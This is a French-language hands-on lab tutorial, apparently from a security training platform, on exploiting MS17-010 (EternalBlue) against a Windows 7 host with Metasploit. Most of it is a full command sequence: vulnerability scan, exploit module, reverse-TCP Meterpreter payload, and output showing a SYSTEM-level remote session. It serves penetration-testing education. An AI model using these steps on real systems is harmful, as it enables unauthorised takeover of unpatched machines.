Exploiter MS17-010 EternalBlue sur une cible Windows 7 avec Metasploit

Kali LinuxBeginner
Pratiquer maintenant

Introduction

MS17-010, connu publiquement sous le nom d'EternalBlue, est une vulnérabilité critique dans l'implémentation par Microsoft du protocole Server Message Block (SMB). Cette vulnérabilité permet à des attaquants distants d'exécuter du code arbitraire sur les systèmes affectés. Le Metasploit Framework est un outil open-source puissant pour le développement, le test et l'exécution de code d'exploitation (exploit).

Dans ce laboratoire, vous endosserez le rôle d'un testeur d'intrusion (penetration tester). Vous utiliserez le Metasploit Framework pour identifier d'abord une machine Windows 7 vulnérable sur le réseau à l'aide d'un module de scan. Ensuite, vous configurerez et lancerez l'exploit EternalBlue contre la cible pour obtenir un contrôle à distance complet via une session Meterpreter. Cette expérience pratique démontrera l'impact réel des vulnérabilités non corrigées.

Aux fins de ce laboratoire, une machine Windows 7 vulnérable est présente sur le réseau à l'adresse IP 192.168.1.101.

Utiliser le scanner auxiliary/scanner/smb/smb_ms17_010 pour trouver des cibles

Dans cette étape, vous commencerez par lancer la console Metasploit et utiliser un module de scan spécialisé pour confirmer que notre cible est vulnérable à MS17-010. C'est une phase de reconnaissance cruciale dans tout test d'intrusion.

Tout d'abord, ouvrez un terminal et démarrez la console Metasploit Framework en exécutant la commande msfconsole. Le chargement peut prendre un moment.

msfconsole

Une fois la console chargée, vous verrez l'invite de commande Metasploit (msf6 >). Maintenant, utilisez la commande use pour sélectionner le module de scan MS17-010.

use auxiliary/scanner/smb/smb_ms17_010

Ensuite, vous devez indiquer au scanner quels hôtes vérifier. Affichez les options disponibles pour ce module avec la commande show options.

show options

Vous verrez une liste d'options. L'option RHOSTS est requise, elle spécifie le(s) hôte(s) distant(s) à scanner. Définissez-la sur l'adresse IP de notre machine cible Windows 7.

set RHOSTS 192.168.1.101

Une fois la cible définie, exécutez le scanner en tapant run.

run

Metasploit va maintenant scanner la cible. Si l'hôte est vulnérable, vous verrez un message de confirmation dans la sortie.

[+] 192.168.1.101:445   - Host is likely VULNERABLE to MS17-010! (OS: Windows 7 Professional 7601 Service Pack 1)
[*] 192.168.1.101:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Cette sortie confirme que la cible à l'adresse 192.168.1.101 est vulnérable et constitue un bon candidat pour notre exploit.

Sélectionner l'exploit exploit/windows/smb/ms17_010_eternalblue

Dans cette étape, la cible étant confirmée comme vulnérable, vous allez sélectionner le module d'exploit correspondant dans Metasploit. Le module ms17_010_eternalblue est conçu pour exploiter cette vulnérabilité spécifique.

Dans la console Metasploit, utilisez à nouveau la commande use, mais cette fois pour charger le module d'exploit.

use exploit/windows/smb/ms17_010_eternalblue

Après avoir exécuté la commande, vous remarquerez que votre invite de commande change pour refléter le contexte du module d'exploit nouvellement sélectionné. Cela indique que vous travaillez maintenant dans l'espace de configuration de l'exploit EternalBlue.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

Ce module contient le code qui sera envoyé à la machine cible pour exploiter la vulnérabilité SMB et vous permettre d'exécuter d'autres commandes.

Définir l'option RHOSTS sur la cible Windows 7 vulnérable

Dans cette étape, vous allez configurer le module d'exploit pour cibler l'adresse IP spécifique de la machine vulnérable. Alors que le scanner pouvait vérifier une plage d'adresses IP, l'exploit doit être dirigé vers une seule cible confirmée.

Tout comme avec le module de scan, vous pouvez afficher les options de configuration de l'exploit en utilisant la commande show options.

show options

Vous verrez que ce module possède également une option RHOSTS, qui signifie "Remote Hosts" (Hôtes distants). Elle est actuellement vide. Vous devez la définir sur l'adresse IP de votre cible Windows 7, que vous avez confirmée à la première étape.

Utilisez la commande set pour attribuer l'adresse IP 192.168.1.101 à RHOSTS.

set RHOSTS 192.168.1.101

Metasploit confirmera le changement.

RHOSTS => 192.168.1.101

Maintenant, l'exploit sait exactement où diriger l'attaque.

Définir le payload windows/x64/meterpreter/reverse_tcp

Dans cette étape, vous allez choisir un payload. Un payload est le code qui s'exécutera sur le système cible après que l'exploit l'ait compromis avec succès. Pour ce laboratoire, vous utiliserez Meterpreter, un payload avancé et dynamiquement extensible.

Le payload windows/x64/meterpreter/reverse_tcp est un excellent choix. Il crée une connexion de la machine cible vers vous (un shell "inversé"), ce qui réussit souvent à contourner les pare-feux. Il est également conçu pour les systèmes Windows 64 bits.

Utilisez la commande set payload pour le sélectionner.

set payload windows/x64/meterpreter/reverse_tcp

Metasploit confirmera que le payload a été défini.

payload => windows/x64/meterpreter/reverse_tcp

Bien que Metasploit sélectionne souvent un payload par défaut, le définir explicitement garantit que vous utilisez celui qui convient le mieux à votre objectif. Vous pouvez exécuter à nouveau show options pour voir les options de l'exploit et du payload. Vous remarquerez de nouvelles options telles que LHOST (Listening Host - Hôte d'écoute) et LPORT (Listening Port - Port d'écoute), que Metasploit configure généralement automatiquement avec l'adresse IP de votre machine.

Exécuter l'exploit et établir une session Meterpreter

Dans cette étape, toutes les options étant configurées, vous allez lancer l'exploit et prendre le contrôle de la machine cible.

Toute la préparation est terminée. L'exploit est sélectionné, la cible est définie et le payload est choisi. Pour lancer l'attaque, utilisez simplement la commande exploit.

exploit

Metasploit va maintenant tenter d'exploiter la vulnérabilité sur la cible. Vous verrez plusieurs messages d'état pendant son exécution. En cas de succès, l'exploit délivrera le payload Meterpreter, et vous verrez un message indiquant "WIN!" et qu'une nouvelle session a été ouverte.

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Connecting to target for exploitation.
[+] 192.168.1.101:445 - Connection established for exploitation.
...
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Sending stage (200774 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:49157) at 2023-10-27 10:30:00 -0400

meterpreter >

L'invite meterpreter > signifie que l'opération a réussi ! Vous disposez maintenant d'un shell distant sur la machine victime. Pour prouver votre contrôle, exécutez la commande getuid pour voir sous quel compte utilisateur vous êtes en cours d'exécution.

getuid

La sortie devrait être :

Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM est le plus haut niveau de privilège sur un système Windows. Vous avez réussi à compromettre la cible. Vous pouvez également exécuter sysinfo pour obtenir des informations système.

sysinfo
Computer        : WIN7-VICTIM
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows

Félicitations, vous avez exploité avec succès MS17-010.

Résumé

Dans ce laboratoire, vous avez acquis une expérience pratique et concrète avec l'une des vulnérabilités les plus connues en utilisant le Metasploit Framework.

Vous avez réussi à :

  • Utiliser un module scanner auxiliaire pour identifier un hôte vulnérable à MS17-010.
  • Sélectionner et configurer le module d'exploit ms17_010_eternalblue.
  • Définir un puissant payload meterpreter pour établir une connexion à distance.
  • Exécuter l'exploit et obtenir une session Meterpreter de niveau SYSTEM sur la machine Windows 7 cible.

Cet exercice souligne l'importance cruciale de la mise à jour rapide des correctifs de sécurité pour les systèmes d'exploitation. Une seule vulnérabilité non corrigée peut suffire à un attaquant pour prendre le contrôle total d'un système.